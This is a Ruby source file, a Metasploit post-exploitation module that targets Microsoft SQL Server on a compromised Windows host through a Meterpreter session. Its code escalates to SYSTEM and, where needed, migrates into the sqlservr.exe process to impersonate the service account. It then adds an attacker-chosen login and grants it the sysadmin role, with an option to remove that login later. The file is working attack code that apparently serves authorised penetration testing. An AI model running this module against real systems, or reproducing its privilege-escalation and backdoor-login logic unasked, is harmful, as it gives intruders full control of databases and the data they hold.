metasploit-framework/modules/post/windows/manage/mssql_local_auth_bypass.rb

477 lines
16 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
'Description' => %q{ When this module is executed, it can be used to add a sysadmin to local
SQL Server instances. It first attempts to gain LocalSystem privileges
using the "getsystem" escalation methods. If those privileges are not
sufficient to add a sysadmin, then it will migrate to the SQL Server
service process associated with the target instance. The sysadmin
login is added to the local SQL Server using native SQL clients and
stored procedures. If no instance is specified then the first identified
instance will be used.
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
is assigned syadmin privileges. Microsoft changed the default in
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
However, this can be overcome by migrating to the SQL Server process.},
'License' => MSF_LICENSE,
'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
], self.class)
end
def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Get LocalSystem privileges
system_status = givemesystem
if system_status[0]
# Check if a SQL Server service is running
service_instance = check_for_sqlserver(instance)
if service_instance != 0
# Identify available native SQL client
sql_client = get_sql_client()
if sql_client != 0
# Check if remove_login was selected
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
else
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end
end
end
end
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
end
else
print_error("Could not obtain LocalSystem privileges")
end
# return to original priv context
session.sys.config.revert_to_self
end
## ----------------------------------------------
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance)
print_status("Checking for SQL Server...")
# Get Data
running_services = run_cmd("net start")
# Parse Data
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_good("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end
end
# Fail
print_error("No native SQL client was found")
return 0
end
## ----------------------------------------------
## Method for adding a login
## ----------------------------------------------
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_login_result = run_cmd("#{sqlcommand}")
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
end
# check for success/fail
if add_login_result.empty? or add_login_result =~ /New login created./
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1
else
print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}")
return 0
end
end
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
# Display results to user
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
print_status("Attempting to remove login \"#{dbuser}\"")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
# Display result
if check == 0
print_good("Successfully removed login \"#{dbuser}\"")
return 1
else
# Fail
print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}")
return 0
end
end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end
end
end